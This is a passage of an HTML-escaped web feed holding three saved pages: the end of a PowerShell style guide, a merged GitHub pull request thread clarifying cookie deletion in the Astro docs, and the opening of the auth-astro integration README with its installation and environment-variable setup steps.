&lt;li&gt;
&lt;p&gt;Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I&amp;#39;m looking for something like the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[Parameter(Position = 0, Mandatory = $True)]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Don&amp;#39;t use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Don&amp;#39;t go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If a script creates complex custom objects, include a ps1xml file that will properly format the object&amp;#39;s output.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded>
</item>
<item>
<title>Be more explicit about cookie deletion by whitep4nth3r · Pull Request #8476 · withastro/docs · GitHub</title>
<link>https://github.com/withastro/docs/pull/8476</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/c0761d5ca6d4b29eea2185d75ed4260827d6ef2459d2d6f896c66eb9765d1bb1/withastro/docs/pull/8476"></enclosure>
<guid isPermaLink="false">ycxvIjdCUFyrHT2ohh4llG-BxqI1z31Asrwi2w==</guid>
<pubDate>Sat, 06 Jun 2026 14:14:41 +0000</pubDate>
<description>Description (required) Whilst the word &quot;delete&quot; feels intuitive in the Astro.cookies API, it hides the fact when &quot;deleting&quot; a cookie, you&#39;re invalidating it by setting an ex...</description>
<content:encoded>&lt;div&gt;
  
      
&lt;div&gt;

  &lt;div&gt;
  &lt;a href=&quot;https://github.com/apps/vercel&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/in/8329?s=80&amp;amp;v=4&quot; alt=&quot;@vercel&quot; title=&quot;&quot;/&gt;&lt;/a&gt;


&lt;/div&gt;


  
&lt;div&gt;

    &lt;div&gt;
      &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;details&gt;
        &lt;summary&gt;  &lt;span&gt;
    
  &lt;/span&gt;
&lt;/summary&gt;

        
            &lt;span&gt;
  
      
              Copy link

  
&lt;/span&gt;              &lt;span&gt;
  
      
                Copy Markdown

  
&lt;/span&gt;        
      &lt;/details&gt;
    &lt;/div&gt;

    &lt;div&gt;
        



        

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;h3&gt;
    &lt;div&gt;
      &lt;span&gt;
          
      &lt;/span&gt;

      &lt;strong&gt;
            &lt;a href=&quot;https://github.com/apps/vercel&quot;&gt;vercel&lt;/a&gt;
  &lt;span&gt;Bot&lt;/span&gt;

      &lt;/strong&gt;

      

      commented


        Jun 10, 2024



      &lt;span&gt;
  &lt;span&gt;•&lt;/span&gt;

  &lt;details&gt;
    &lt;summary&gt;
      &lt;div&gt;
        &lt;span&gt;
          edited
          
        &lt;/span&gt;
        
      &lt;/div&gt;
    &lt;/summary&gt;
    
      
  
        &lt;span&gt;
      &lt;span&gt;Loading&lt;/span&gt;
&lt;/span&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;
    
  &lt;/details&gt;
&lt;/span&gt;

    &lt;/div&gt;

  &lt;/h3&gt;
&lt;/div&gt;


      &lt;div&gt;

        

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
          &lt;p&gt;&lt;strong&gt;The latest updates on your projects&lt;/strong&gt;. Learn more about &lt;a href=&quot;https://vercel.link/github-learn-more&quot;&gt;Vercel for Git ↗︎&lt;/a&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Preview&lt;/th&gt;
&lt;th&gt;Updated (UTC)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;docs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ Failed (&lt;a href=&quot;https://vercel.com/astrodotbuild/docs/GmCV5uayPqsvMMbJmAf4gD3fcZEE&quot;&gt;Inspect&lt;/a&gt;)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Jun 10, 2024 5:27pm&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;



        &lt;div&gt;

            

            
            &lt;div&gt;
              &lt;div&gt;
  
    
      
    &lt;div&gt;
      &lt;div&gt;
        &lt;details&gt;
          &lt;summary&gt;  &lt;span&gt;
    &lt;span&gt;All reactions&lt;/span&gt;
  &lt;/span&gt;
&lt;/summary&gt;

          &lt;ul&gt;
          &lt;/ul&gt;
        &lt;/details&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      
            
  
  &lt;p&gt;
    &lt;span&gt;
  &lt;/span&gt;
  &lt;/p&gt;
  &lt;p&gt;
    
    Sorry, something went wrong.
  &lt;/p&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

    &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


&lt;/div&gt;&lt;div&gt;
  
      
&lt;div&gt;

  &lt;div&gt;
  &lt;a href=&quot;https://github.com/astrobot-houston&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/108291165?s=80&amp;amp;u=5520fdaf06a6036d12030a2457b260d40ca5df72&amp;amp;v=4&quot; alt=&quot;@astrobot-houston&quot; title=&quot;&quot;/&gt;&lt;/a&gt;


&lt;/div&gt;


  
&lt;div&gt;

    &lt;div&gt;
      &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;details&gt;
        &lt;summary&gt;  &lt;span&gt;
    
  &lt;/span&gt;
&lt;/summary&gt;

        
            &lt;span&gt;
  
      
              Copy link

  
&lt;/span&gt;              &lt;span&gt;
  
      
                Copy Markdown

  
&lt;/span&gt;        
      &lt;/details&gt;
    &lt;/div&gt;

    &lt;div&gt;
        

  &lt;span&gt;
    &lt;span&gt;Contributor&lt;/span&gt;
&lt;/span&gt;

        

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;h3&gt;
    &lt;div&gt;
      &lt;span&gt;
          
      &lt;/span&gt;

      &lt;strong&gt;
            &lt;a href=&quot;https://github.com/astrobot-houston&quot;&gt;astrobot-houston&lt;/a&gt;
  

      &lt;/strong&gt;

      

      commented


        Jun 10, 2024



      
    &lt;/div&gt;

  &lt;/h3&gt;
&lt;/div&gt;


      &lt;div&gt;

        

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
          &lt;p&gt;Hello! Thank you for opening your &lt;strong&gt;first PR&lt;/strong&gt; to Astro’s Docs! 🎉&lt;/p&gt;
&lt;p&gt;Here’s what will happen next:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Our GitHub bots will run to check your changes.&lt;br/&gt;
If they spot any broken links you will see some error messages on this PR.&lt;br/&gt;
Don’t hesitate to ask any questions if you’re not sure what these mean!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In a few minutes, you’ll be able to see a preview of your changes on Vercel 🥳&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;One or more of our maintainers will take a look and may ask you to make changes.&lt;br/&gt;
We try to be responsive, but don’t worry if this takes a few days.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;

      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;



        &lt;div&gt;

            

            
            &lt;div&gt;
              &lt;div&gt;
  
    
      
    &lt;div&gt;
      &lt;div&gt;
        &lt;details&gt;
          &lt;summary&gt;  &lt;span&gt;
    &lt;span&gt;All reactions&lt;/span&gt;
  &lt;/span&gt;
&lt;/summary&gt;

          &lt;ul&gt;
          &lt;/ul&gt;
        &lt;/details&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      
            
  
  &lt;p&gt;
    &lt;span&gt;
  &lt;/span&gt;
  &lt;/p&gt;
  &lt;p&gt;
    
    Sorry, something went wrong.
  &lt;/p&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

    &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


&lt;/div&gt;&lt;div&gt;
  
      
&lt;div&gt;

  &lt;div&gt;
  &lt;a href=&quot;https://github.com/astrobot-houston&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/108291165?s=80&amp;amp;u=5520fdaf06a6036d12030a2457b260d40ca5df72&amp;amp;v=4&quot; alt=&quot;@astrobot-houston&quot; title=&quot;&quot;/&gt;&lt;/a&gt;


&lt;/div&gt;


  
&lt;div&gt;

    &lt;div&gt;
      &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;details&gt;
        &lt;summary&gt;  &lt;span&gt;
    
  &lt;/span&gt;
&lt;/summary&gt;

        
            &lt;span&gt;
  
      
              Copy link

  
&lt;/span&gt;              &lt;span&gt;
  
      
                Copy Markdown

  
&lt;/span&gt;        
      &lt;/details&gt;
    &lt;/div&gt;

    &lt;div&gt;
        

  &lt;span&gt;
    &lt;span&gt;Contributor&lt;/span&gt;
&lt;/span&gt;

        

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;h3&gt;
    &lt;div&gt;
      &lt;span&gt;
          
      &lt;/span&gt;

      &lt;strong&gt;
            &lt;a href=&quot;https://github.com/astrobot-houston&quot;&gt;astrobot-houston&lt;/a&gt;
  

      &lt;/strong&gt;

      

      commented


        Jun 10, 2024



      &lt;span&gt;
  &lt;span&gt;•&lt;/span&gt;

  &lt;details&gt;
    &lt;summary&gt;
      &lt;div&gt;
        &lt;span&gt;
          edited
          
        &lt;/span&gt;
        
      &lt;/div&gt;
    &lt;/summary&gt;
    
      
  
        &lt;span&gt;
      &lt;span&gt;Loading&lt;/span&gt;
&lt;/span&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;
    
  &lt;/details&gt;
&lt;/span&gt;

    &lt;/div&gt;

  &lt;/h3&gt;
&lt;/div&gt;


      &lt;div&gt;

        

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
          
&lt;h2&gt;Lunaria Status Overview&lt;/h2&gt;
&lt;p&gt;🌕 &lt;strong&gt;This pull request will trigger status changes.&lt;/strong&gt;&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;Learn more&lt;/summary&gt;
&lt;p&gt;By default, every PR changing files present in the &lt;a href=&quot;https://lunaria.dev/reference/configuration/#files-required&quot;&gt;Lunaria configuration&amp;#39;s &lt;code class=&quot;notranslate&quot;&gt;files&lt;/code&gt; property&lt;/a&gt; will be considered and trigger status changes accordingly.&lt;/p&gt;
&lt;p&gt;You can change this by adding one of the keywords present in the &lt;a href=&quot;https://lunaria.dev/reference/configuration/#ignorekeywords&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;ignoreKeywords&lt;/code&gt; property in your Lunaria configuration file&lt;/a&gt; in the PR&amp;#39;s title (ignoring all files) or by &lt;a href=&quot;https://lunaria.dev/guides/tracking/#tracker-directives&quot;&gt;including a tracker directive&lt;/a&gt; in the merged commit&amp;#39;s description.&lt;/p&gt;
&lt;/details&gt;
&lt;h3&gt;Tracked Files&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Locale&lt;/th&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;en&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/withastro/docs/blob/c01074b967942b3586f3435e25af81d030bf393c/src%2Fcontent%2Fdocs%2Fen%2Freference%2Fapi-reference.mdx&quot;&gt;reference/api-reference.mdx&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Source changed, localizations will be marked as outdated.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;details&gt;
&lt;summary&gt;Warnings reference&lt;/summary&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Icon&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;🔄️&lt;/td&gt;
&lt;td&gt;The source for this localization has been updated since the creation of this pull request, make sure all changes in the source have been applied.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;

      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;



        &lt;div&gt;

            

            
            &lt;div&gt;
              &lt;div&gt;
  
    
      
    &lt;div&gt;
      &lt;div&gt;
        &lt;details&gt;
          &lt;summary&gt;  &lt;span&gt;
    &lt;span&gt;All reactions&lt;/span&gt;
  &lt;/span&gt;
&lt;/summary&gt;

          &lt;ul&gt;
          &lt;/ul&gt;
        &lt;/details&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      
            
  
  &lt;p&gt;
    &lt;span&gt;
  &lt;/span&gt;
  &lt;/p&gt;
  &lt;p&gt;
    
    Sorry, something went wrong.
  &lt;/p&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;

    &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


&lt;/div&gt;&lt;div&gt;
  
        &lt;div&gt;
  &lt;div&gt;
        &lt;div&gt;
  &lt;a href=&quot;https://github.com/sarah11918&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/5098874?s=60&amp;amp;v=4&quot; alt=&quot;sarah11918&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
  
  &lt;div&gt;            &lt;div&gt;
              &lt;strong&gt;
                    &lt;a href=&quot;https://github.com/sarah11918&quot;&gt;sarah11918&lt;/a&gt;
  

              &lt;/strong&gt;

              approved these changes


              &lt;span&gt;
                  
                    Jun 10, 2024
                  
              &lt;/span&gt;
              
            &lt;/div&gt;

            &lt;div&gt;


              &lt;a href=&quot;https://github.com/withastro/docs/pull/8476/files/c01074b967942b3586f3435e25af81d030bf393c&quot;&gt;  &lt;span&gt;
    &lt;span&gt;View reviewed changes&lt;/span&gt;
  &lt;/span&gt;
&lt;/a&gt;

            &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
          &lt;div&gt;
  
  
  &lt;div&gt;              &lt;div&gt;
                      &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;details&gt;
        &lt;summary&gt;  &lt;span&gt;
    
  &lt;/span&gt;
&lt;/summary&gt;

        
            &lt;span&gt;
  
      
              Copy link

  
&lt;/span&gt;              &lt;span&gt;
  
      
                Copy Markdown

  
&lt;/span&gt;        
      &lt;/details&gt;
    &lt;/div&gt;

    &lt;div&gt;
        

  &lt;span&gt;
  &lt;span&gt;Member&lt;/span&gt;
&lt;/span&gt;

        

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;h3&gt;
    &lt;div&gt;
      &lt;span&gt;
          &lt;img src=&quot;https://avatars.githubusercontent.com/u/5098874?s=48&amp;amp;v=4&quot; alt=&quot;@sarah11918&quot; title=&quot;&quot;/&gt;
      &lt;/span&gt;

      &lt;strong&gt;
            &lt;a href=&quot;https://github.com/sarah11918&quot;&gt;sarah11918&lt;/a&gt;
  

      &lt;/strong&gt;

      

      left a comment





      
    &lt;/div&gt;

  &lt;/h3&gt;
&lt;/div&gt;
                  

                      &lt;div&gt;
  &lt;div&gt;
  &lt;div&gt;
  
    

    &lt;p&gt;There was a problem hiding this comment.&lt;/p&gt;


  
&lt;/div&gt;
 &lt;div&gt;
  
    

    &lt;h3&gt;Choose a reason for hiding this comment&lt;/h3&gt;

    &lt;p&gt;
      The reason will be displayed to describe this comment to others. &lt;a href=&quot;https://docs.github.com/articles/managing-disruptive-comments/#hiding-a-comment&quot;&gt;Learn more&lt;/a&gt;.
    &lt;/p&gt;

    
      
      


  
&lt;/div&gt;&lt;/div&gt;

  
    &lt;div&gt;
      &lt;p&gt;Thank you &lt;a href=&quot;https://github.com/whitep4nth3r&quot;&gt;@whitep4nth3r&lt;/a&gt; for adding some very helpful context to our docs! We are so pleased (and can&amp;#39;t believe it took this long!!) to welcome you to Team Docs! 🥳&lt;/p&gt;
      
    &lt;/div&gt;
  
  
&lt;/div&gt;


                    
                  
  
  &lt;p&gt;
    &lt;span&gt;
  &lt;/span&gt;
  &lt;/p&gt;
  &lt;p&gt;
    
    Sorry, something went wrong.
  &lt;/p&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;


                      &lt;div&gt;
                    &lt;div&gt;
  
    
    &lt;div&gt;
            mau-oati reacted with hooray emoji
            whitep4nth3r reacted with rocket emoji
      &lt;div&gt;
        &lt;details&gt;
          &lt;summary&gt;  &lt;span&gt;
    &lt;span&gt;All reactions&lt;/span&gt;
  &lt;/span&gt;
&lt;/summary&gt;

          &lt;ul&gt;
              &lt;li&gt;
                🎉
                  &lt;span&gt;1 reaction&lt;/span&gt;
              &lt;/li&gt;
              &lt;li&gt;
                🚀
                  &lt;span&gt;1 reaction&lt;/span&gt;
              &lt;/li&gt;
          &lt;/ul&gt;
        &lt;/details&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
                  &lt;/div&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
      &lt;div&gt;
  
  
  &lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;


&lt;/div&gt;&lt;div&gt;
  
          &lt;div&gt;
  &lt;div&gt;
  
  
  &lt;div&gt;      &lt;a href=&quot;https://github.com/apps/vercel&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/in/8329?s=40&amp;amp;v=4&quot; alt=&quot;@vercel&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
  &lt;a href=&quot;https://github.com/apps/vercel&quot;&gt;vercel&lt;/a&gt;
&lt;span&gt;Bot&lt;/span&gt;

            &lt;a href=&quot;https://docs-hudzctj0h-astrodotbuild.vercel.app&quot;&gt;deployed&lt;/a&gt;
      to
        &lt;a href=&quot;https://docs-hudzctj0h-astrodotbuild.vercel.app&quot;&gt;Preview – docs&lt;/a&gt;



    June 10, 2024 17:27    
              &lt;a href=&quot;https://docs-hudzctj0h-astrodotbuild.vercel.app&quot;&gt;View deployment&lt;/a&gt;

&lt;/div&gt;
&lt;/div&gt;&lt;/div&gt;

  &lt;div&gt; 
  &lt;div&gt;
    
  &lt;/div&gt;
  &lt;div&gt;


        &lt;a href=&quot;https://github.com/sarah11918&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/5098874?s=40&amp;amp;u=c872663138c75812446146ef5e36b2927aa0ba6f&amp;amp;v=4&quot; alt=&quot;@sarah11918&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
  &lt;a href=&quot;https://github.com/sarah11918&quot;&gt;sarah11918&lt;/a&gt;



        merged commit &lt;a href=&quot;https://github.com/withastro/docs/commit/786a9984a1261a57437a8994f4970f6e0b9feabd&quot;&gt;&lt;code class=&quot;Link--primary text-bold&quot;&gt;786a998&lt;/code&gt;&lt;/a&gt;
      into

      &lt;span&gt;
  &lt;span&gt;
    &lt;span&gt;withastro&lt;/span&gt;:&lt;span&gt;main&lt;/span&gt;
  &lt;/span&gt;
&lt;/span&gt;

    &lt;a href=&quot;https://github.com/withastro/docs/pull/8476#event-13105456751&quot;&gt;Jun 10, 2024&lt;/a&gt;

  &lt;/div&gt;
&lt;/div&gt;



  &lt;div&gt;
  &lt;div&gt;
    
  &lt;/div&gt;

  &lt;div&gt;
      
&lt;div&gt;
    &lt;a href=&quot;https://github.com/jsparkdev&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/39112954?s=40&amp;amp;v=4&quot; alt=&quot;@jsparkdev&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://github.com/jsparkdev&quot;&gt;jsparkdev&lt;/a&gt;



    mentioned this pull request
    
      Jun 11, 2024
    
&lt;/div&gt;

&lt;div&gt;
  &lt;div&gt;
    &lt;a href=&quot;https://github.com/withastro/docs/pull/8484&quot;&gt;
      i18n(ko-KR): update &lt;code&gt;api-reference.mdx&lt;/code&gt;
      &lt;span&gt;#8484&lt;/span&gt;
&lt;/a&gt;  &lt;/div&gt;


  &lt;div&gt;
      &lt;span&gt;
   Merged
&lt;/span&gt;
  &lt;/div&gt;
&lt;/div&gt;




  &lt;/div&gt;
&lt;/div&gt;

  &lt;div&gt;
  &lt;div&gt;
    
  &lt;/div&gt;

  &lt;div&gt;
      
&lt;div&gt;
    &lt;a href=&quot;https://github.com/liruifengv&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/25167721?s=40&amp;amp;v=4&quot; alt=&quot;@liruifengv&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://github.com/liruifengv&quot;&gt;liruifengv&lt;/a&gt;



    mentioned this pull request
    
      Jun 13, 2024
    
&lt;/div&gt;

&lt;div&gt;
  &lt;div&gt;
    &lt;a href=&quot;https://github.com/withastro/docs/pull/8505&quot;&gt;
      i18n(zh-cn): update &lt;code&gt;api-reference.mdx&lt;/code&gt;
      &lt;span&gt;#8505&lt;/span&gt;
&lt;/a&gt;  &lt;/div&gt;


  &lt;div&gt;
      &lt;span&gt;
   Merged
&lt;/span&gt;
  &lt;/div&gt;
&lt;/div&gt;




  &lt;/div&gt;
&lt;/div&gt;

    &lt;div&gt;
    &lt;div&gt;
      
    &lt;/div&gt;
    &lt;div&gt;

      


          &lt;a href=&quot;https://github.com/sarah11918&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/5098874?s=40&amp;amp;u=c872663138c75812446146ef5e36b2927aa0ba6f&amp;amp;v=4&quot; alt=&quot;@sarah11918&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://github.com/sarah11918&quot;&gt;sarah11918&lt;/a&gt;




          added
  the 
&lt;a href=&quot;https://github.com/withastro/docs/issues?q=state%3Aopen%20label%3Afeedback-improvement&quot;&gt;
  feedback-improvement
&lt;/a&gt;
  Response to widget/Discord feedback
 label


      Aug 14, 2024

    &lt;/div&gt;
  &lt;/div&gt;




&lt;/div&gt;&lt;div&gt;
    
      
  &lt;/div&gt;&lt;div&gt;
  
&lt;/div&gt;</content:encoded>
</item>
<item>
<title>GitHub - nowaythatworked/auth-astro: Community maintained Astro integration of @auth/core · GitHub</title>
<link>https://github.com/nowaythatworked/auth-astro</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/ec1b2653fe0207d6faa19e63e6f321731bca8110822dc69c31d95665daef4f6c/nowaythatworked/auth-astro"></enclosure>
<guid isPermaLink="false">pWZ41xYRE9HQsZu5tQAc5kS0XQ09SD1aGGjLfA==</guid>
<pubDate>Sat, 06 Jun 2026 14:14:40 +0000</pubDate>
<description>Community maintained Astro integration of @auth/core - nowaythatworked/auth-astro</description>
<content:encoded>&lt;div&gt;&lt;h1&gt;Auth Astro&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;Auth Astro is the easiest way to add Authentication to your Astro Project. It wraps the core of &lt;a href=&quot;https://authjs.dev/&quot;&gt;Auth.js&lt;/a&gt; into an Astro integration, which automatically adds the endpoints and handles everything else.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;Now supporting up to Astro 5&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;(&lt;strong&gt;disclaimer&lt;/strong&gt;: Please don&amp;#39;t confuse this package with &lt;a href=&quot;https://github.com/astro-community/astro-auth&quot;&gt;astro-auth&lt;/a&gt;)&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Installation&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;The easiest way to get started is adding this package using the astro cli.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;npm run astro add auth-astro&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will install the package and required peer-dependencies and add the integration to your config.
You can now jump to configuration&lt;/p&gt;&lt;p&gt;Alternatively, you can install the required packages on your own.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;npm install auth-astro@latest @auth/core@^0.18.6&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Note&lt;/p&gt;&lt;p&gt;If you´re using &lt;code&gt;pnpm&lt;/code&gt; you must also install cookie: &lt;code&gt;pnpm i cookie&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Next, you need to &lt;a href=&quot;https://docs.astro.build/en/guides/integrations-guide/#using-integrations&quot;&gt;add the integration to your astro config&lt;/a&gt; by importing it and listing it in the integrations array.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Configuration&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Create your &lt;a href=&quot;https://authjs.dev/getting-started/providers/oauth-tutorial&quot;&gt;auth configuration&lt;/a&gt; file in the root of your project.&lt;/p&gt;&lt;p&gt;Some OAuth Providers request a callback URL be submitted alongside requesting a Client ID, and Client Secret. The callback URL used by the providers must be set to the following, unless you override the prefix field in the configuration:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;[origin]/api/auth/callback/[provider]

// example
// http://localhost:4321/api/auth/callback/github&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;Setup Environment Variables&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;Generate an auth secret by running &lt;code&gt;openssl rand -hex 32&lt;/code&gt; in a local terminal or by visiting &lt;a href=&quot;https://generate-secret.vercel.app/32&quot;&gt;generate-secret.vercel.app&lt;/a&gt;, copy the string, then set it as the &lt;code&gt;AUTH_SECRET&lt;/code&gt; environment variable describe below.&lt;/p&gt;&lt;p&gt;Next, set the &lt;code&gt;AUTH_TRUST_HOST&lt;/code&gt; environment variable to &lt;code&gt;true&lt;/code&gt; for hosting providers like Cloudflare Pages or Netlify.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;AUTH_SECRET=&lt;span&gt;&amp;lt;&lt;/span&gt;auth-secret&lt;span&gt;&amp;gt;&lt;/span&gt;
AUTH_TRUST_HOST=true&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h4&gt;Deploying to Vercel?&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Setting &lt;code&gt;AUTH_TRUST_HOST&lt;/code&gt; is not needed, as we also check for an active Vercel environment.&lt;/p&gt;&lt;div&gt;&lt;h3&gt;Requirements&lt;/h3&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Node version &lt;code&gt;&amp;gt;= 17.4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Astro config set to output mode &lt;code&gt;server&lt;/code&gt;&lt;/li&gt;
